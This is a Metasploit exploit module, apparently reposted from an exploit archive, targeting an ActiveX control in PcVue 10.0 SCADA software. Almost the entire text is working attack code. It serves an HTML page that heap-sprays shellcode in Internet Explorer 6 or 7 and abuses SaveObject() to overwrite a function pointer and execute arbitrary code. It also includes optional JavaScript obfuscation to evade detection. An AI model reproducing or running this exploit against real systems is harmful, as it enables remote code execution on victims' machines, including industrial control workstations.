PcVue 10.0 SV.UIGrdCtrl.1 – ‘LoadObject()’/’SaveObject()’ Trusted DWORD (Metasploit)
## # $Id: pcvue_func.rb 13889 2011-10-12 10:57:31Z sinn3r $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super(update_info(info, 'Name' => "PcVue 10.0 SV.UIGrdCtrl.1 'LoadObject()/SaveObject()' Trusted DWORD Vulnerability", 'Description' => %q{ This module exploits a function pointer control within SVUIGrd.ocx of PcVue 10.0. By setting a dword value for the SaveObject() or LoadObject(), an attacker can overwrite a function pointer and execute arbitrary code. }, 'License' => MSF_LICENSE, 'Author' => [ 'Luigi Auriemma', # original find 'mr_me <steventhomasseeley[at]gmail-com>', # msf module 'TecR0c <roccogiovannicalvi[at]gmail-com >',# msf module ], 'Version' => '$Revision: 13889 $', 'References' => [ [ 'BID', '49795'], [ 'URL', 'http://aluigi.altervista.org/adv/pcvue_1-adv.txt'], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'InitialAutoRunScript' => 'migrate -f' }, 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00\x0a\x0d", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ #IE 6/7 on Widnows XP and Vista 'Internet Explorer 6 / Internet Explorer 7', { 'Ret' => 0x0a0a0a0a, 'Offset' => 1000 } ] ], 'DisclosureDate' => 'Oct 5 2011', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ false, 'The file name.', 'msf.html']), OptBool.new('OBFUSCATE', [false, 'Enable JavaScript Obfuscation', true]), ], self.class) end def on_request_uri(cli, request) #If not IE, we don't continue agent = request.headers['User-Agent'] if agent !~ /MSIE [6|7]\.0/ print_error("Target not supported: #{agent.to_s}") send_not_found(cli) return end # Encode the shellcode shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) # Setup exploit buffers nops = Rex::Text.to_unescape([target.ret].pack('V')) ret = "0x%08x" % target.ret blocksize = 0x50000 fillto = 200 # Randomize the javascript variable names obj_name = rand_text_alpha(rand(100) + 1) j_shellcode = rand_text_alpha(rand(100) + 1) j_nops = rand_text_alpha(rand(100) + 1) j_ret = rand_text_alpha(rand(100) + 1) j_headersize = rand_text_alpha(rand(100) + 1) j_slackspace = rand_text_alpha(rand(100) + 1) j_fillblock = rand_text_alpha(rand(100) + 1) j_block = rand_text_alpha(rand(100) + 1) j_memory = rand_text_alpha(rand(100) + 1) j_counter = rand_text_alpha(rand(30) + 2) j_txt = rand_text_alpha(rand(8) + 4) js = <<-EOF var #{j_shellcode} = unescape('#{shellcode}'); var #{j_nops} = unescape("#{nops}"); var #{j_headersize} = 20; var #{j_slackspace} = #{j_headersize} + #{j_shellcode}.length; while(#{j_nops}.length < #{j_slackspace}) { #{j_nops} += #{j_nops}; } var #{j_fillblock} = #{j_nops}.substring(0, #{j_slackspace}); var #{j_block} = #{j_nops}.substring(0, #{j_nops}.length - #{j_slackspace}); while((#{j_block}.length + #{j_slackspace}) < #{blocksize}) { #{j_block} = #{j_block} + #{j_block} + #{j_fillblock}; } #{j_memory} = new Array(); for(#{j_counter} = 0; #{j_counter} < #{fillto}; #{j_counter}++){ #{j_memory}[#{j_counter}] = #{j_block} + #{j_shellcode} ; } function main(){ #{obj_name}.SaveObject("#{j_txt}.txt", #{ret}, 0); } EOF js = js.gsub(/^\t\t/, '') #JS obfuscation on demand if datastore['OBFUSCATE'] js = ::Rex::Exploitation::JSObfu.new(js) js.obfuscate main_sym = js.sym('main') else main_sym = "main" end content = <<-EOF <html> <body> <object classid='clsid:2BBD45A5-28AE-11D1-ACAC-0800170967D9' id='#{obj_name}' ></object> <script language='javascript'> #{js} #{main_sym}(); </script> </body> </html> EOF #Remove the extra tabs from content content = content.gsub(/^\t\t/, '') print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}") send_response(cli, content, {'Content-Type'=>'text/html'}) end end =begin Tested successfully on the following platforms: - PcVue 10.0 (SVUIGrd.ocx v1.5.1.0) on Internet Explorer 6 & 7, Windows XP SP3 Class SVUIGrdCtrl ProgID: SV.UIGrdCtrl.1 GUID: {2BBD45A5-28AE-11D1-ACAC-0800170967D9} Number of Interfaces: 1 Default Interface: ISVUIGrd RegKey Safe for Script: False RegkeySafe for Init: False KillBitSet: False =end |